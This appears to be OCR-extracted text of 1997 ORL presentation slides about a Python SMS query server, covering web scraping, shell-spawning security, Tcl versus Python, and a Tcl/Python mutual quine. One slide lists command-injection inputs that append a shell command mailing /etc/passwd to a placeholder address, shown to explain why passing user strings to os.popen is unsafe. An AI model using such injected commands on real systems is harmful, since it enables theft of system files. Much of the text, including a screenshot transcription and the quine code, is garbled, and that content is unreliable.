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Motivation

Serving the mobile computer user

$$$alivation-inducing Quaderno Pilot
notebook Libretto Palmtop
< >
portability

functionality

The ORL alternative:
Don’t carry equipment:

use someone else’s and
personalise it.

orl BUT: What if no computers nearby? '



Geek / gadget freak Regular human being

more
gizmos
than you
have
pockets...

no gadgets,
but cellphone is carried

spontaneously!

Use existing facilities
[]
GSM’s SMS

FooP:/li. AM/INFOWARRIOR

orl



SMS server usage examples

AB WHO AHJ

AB AWAY AH IN ITALY TODAY

RAIL CAMBRIDGE LONDON

SH ORCL

CUR 800 FRF ITL

ROAD M11

MAIL LARRY@ORACLE.COM HI THERE
WF EDINBURGH

H

...and their

push versions

o
orl




SMS server architecture

PULL
www.stockmaster.com
SH ORCL
A
\ SMS server HTTP HTML
reply % GET page
v
| spawn g
shares
handler
stdout

\

email gw,

smssend

CORBA....
orl

\

web
form




events in aselect()

The ServerApp abstraction

Single thread waits for

File descriptors modelled

loop by Readab1e with
onIncomingbData()
] Readable ]
h----------‘
I I
OpenDataSocket OpenkFile

OpenListenerSocket

user-defined

NewSerialLine

user-defined

NewListenerSocket

orl

user-defined

20-line example of
serial - socket

ServerApp

TimerServerApp




ErtachMariey Chat e Cora Cota Co - 0

Redyroge

Lo —
333

pia=l =

Gids P Ssasly

0wl Sachasks b Locston fan v docimarie condecham ] eepleweracharkd ook =]

1 1-!r—-| 4 Loskun 4 WdCid

Faggn Vorwsed Son Cirk 1 1088 123638 PR EBT B
Coca-Cola Co (K0)
Lt High - Voboms Diw  Asal
T, 70y, GEw, LG W13 clap O 2
) i i
Clazge Yrofkgh Tawlow BE Ve Exchangs
+11 gpdm EER HIOD 4 &M HYSE
| ¥ LR
BEFIN) TS H 0TI DA SR W er  PATDAD 0 AR A0
== Cheart Optinms: dmgh  Iyew  lwme e
B 1 o et of B3 ey et 1088 i) 18R B bflamter e
4
5 v -
mt ]
L r
., AW Ty
W 18 | ; Sewth Gamle Ped Sewiy
Ll e ‘: il B Liidcn [ir e a0 e e Vi P bl L i ke =
" AN ’ i3
UL E =
w——f-ix ¥
At
...F".’ ¥ Do Awof
ILEDD LY choe en Oz 23
b = e = S oy S|
Chrgs YouMgh Yeules PE Tl  Exchaags
-l 8 108 908 L4+ Hik 1M HYE
BRE NG IR0 R e0TI QA BOR cmndanm  HASDRD M AW
= Chort Optisas: fmmd;  Iyew  lmw S
NN ) e et of PR Towsn Bl BB DESN o 1R RGeDRUIcin
Y=
ui
[REGERY] Dot e ey by 70 aumcts W
N ] f
(T8 Newn Headines: !
]
o | Paniakin Chast kn CacarCoke Lo Lo
% 1
LA + ..
]
' lip
[ T TR o R R T R TR R
T T T TR TR TR T
ILEGZERTY] Diwiir drisgpa s bry 200 mirvwtben Flease ovnd e forme of mee
3 Hews Headlines: "
il | _Fl_l
i | Dhacarst [iars

Websucking

Simple URL manipulation
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Object-oriented websucking

I webgrab.PageFamily g

currency.XenonlLabs rail.RailTrack 1 shares.ShareSite |
www.xe.net/currency www.railtrack.co.uk 1 1

L----------J

Without OO:

NO common

shares.StockMaster
— www.stockmaster.com

iImprovements NASDAQ, NYSE, ...
No common fixes!
i _ shares.Yahoo
Typlcal. grab someone — finance.yahoo.co.uk
“llclean  else’s working source LSE, FSE, ...
it up and tweak it until it does shares.Easdag
later” what you want. | www.easdaq.be
o . EASDA
This is euvil. _ | 2
orl Big maintenance

MessS



More wonders...

From a nice
café...

Search today’s

TV listings
Schedule recording of your Easier than setting
show from anywhere the VCR! (maybe —

Back-end certainly cooler...)
system records
orl TV to MPG




The limit is your imagination!

T

In-car 486
with GPS
and SMS

Fetches traffic
Info, stock
guotes

Sends geographical coordinates to
Active Badge system

orl



Spawning, quoting and security

Handler: external program. Takes user parameters
on command line, returns result on stdout.

CUR 800 FRF ITL

. / \
First word selects Remaining words are passed to
which handler: the handler as arguments:
cur — currency.py currency.py 800 FRF ITL

fullCommand = string.join([command] + argList)
handle = os.popen(fullCommand, "r")

result handle.read() I

The executable we run can
only be one of the approved
ones, so we're ok.

orl (Ha Hal)




Ha ha!

cur 800 frf 1t; mail x@y.com </etc/passwd
cur 800 frf it & mail x@y.com </etc/passwd
cur mail x@y.com </etc/passwd

Commonly recommended fix

(Garfinkel-Spafford 546 etc): Same problems for CGlI
savoid spawning

*or at least avoid passing user strings

or at least avoid passing ‘9$|;>*<&

\ Overzealous
Nannyish advice, but prudent mutilation: chars may
“because people are be legitimate.

generally incompetent at
orl guoting”




To fix this...

Quoting acrobatics are fun,

but morally wrong. Who said we wanted sh anyway?

(forced flattening and in-band signalling)
handle = os.popen(fullCommand, "r'")
Only satisfactory solution:

a spawning function taking a /ist of arguments,
not a string that will be reparsed by sh!

Alternatives to os . popen():

«0S.system() ...50 GVR fixed

0s.execv() & friends Ve really want the popen2 () to

Still no good. ap! of os. execv_() accept a list
with the semantics argument!

of os.popen()
orl




Jan 1997 Dec 1997

Working Handed
Initial idea system over code
v v v
Spec; first Core server User docs, logging, access
handlers programming control, more handlers etc

Fixing PCMCIA,
OS, cables etc

Python success

Encourages Rapid Both ways
readable, modular, Application
maintainable code Development

Practical proof:

new maintainers happy! But Why Python

In the first place?
orl




From Tcl to Python

scripting is

liberating
sort()
"hello”

s + “world”

regular expressions

Sold on Tcl & [incr Tcl]!

Found Python by accident,
tried it by curiosity

Every good craftsman

loves his tools |
so I'm biased too

orl




Comparing Tcl and Python
Tcl /[incr Tcl] Python

Functionally equivalent
Elegantly cleaner (a la LISP) More syntax, but “what you expect”
Coherent design, easy to learn and internalise, despite little quirks...
...e.g. eval / upvar / uplevel ...e.g. lists & tuples, 0s.* vs posix.*
Lists, dictionaries, sort(), regexps

Tcl: no classes! Classes, but no visibility mods and
[incr Tcl]: fully featured, C++ style objects can grow new features!

BUT objects everywhere, including library

lack of static checks
BUT separate “lint” just released

orl Punch line?




It’s all in the distribution
TN

“Python is great
because it comes with
\batteries Included!

—

Fact: script programmers hate

having to recompile the interpreter cathedral bazaar
Tcl Python

*Will it clash with other extensions | have?
*Will it still work with the new version of the
interpreter? Or will it prevent upgrades?
*Will it compile at all with my C compiler? For Python: static checker (see if
(...it I have one?) Tcl's is any good), .exe writer,
improved object model, a better
orl first book (both tut & ref)...

Get the best from each other!




Mutually generating programs

Write tcl.py such that
$ python tcl.py > python.tcl

telpy| = > | python.tcl

$ tclsh python.tcl > tcl.py
with tcl.py identical to the old one

Post Scriptum: a hacker’s offering

To warm up: basic self gen More warming HP-
mutual gen in the same language
Q pythonl.py —>| python2.py
python.py Q
il tcll.tcl —>| tcl2.tcl

orl




Surely you can do
much better than this...

tcl.py:

sgs=" "' ";sQs=" [format %c 39] ";sds="' " ';sbs=" [format %c 34] ";d="""';qgq=""'";
import string
r=string.replace
tclnu="""set pythonu {sgs=
tid="""50="""3}

set pythonn {import string
r=string.replace
tclnu="""set pythonu {u}
set pythonn {N}''';print tclnu} ;print tclnu

tclb="set pythonb {tclb="set pythonb {B}; puts $pythonu; regsub -all [format %c 39]
$pythonn [format %c 34] ndouble; regsub U $ndouble $pythonu nn; regsub N $nn $pythonn
n; puts $n; regsub -all [format %c 39] $pythonb [format %c 34] bb; regsub B $pythonb
$bb b; puts $b";print r(r(r(tclb,sqs,sQs),sds,sDs),d,q)}; puts $pythonu; regsub -all
[format %c 39] $pythonn [format %c 34] ndouble; regsub U $ndouble $pythonu nn; regsub
N $nn $pythonn n; puts $n; regsub -all [format %c 39] $pythonb [format %c 34] bb;
regsub B $pythonb $bb b; puts $b';print r(r(r(tclb,sqs,sQs),sds,sbs),d,q)

:sQs=" [format %c 39] ";sds=' " ';sbs=" [format %c 34]

Solutions gradually revealed at
http://www.cl.cam.ac.uk/~fms27/selfgen/

Enjoy the conquest!
orl




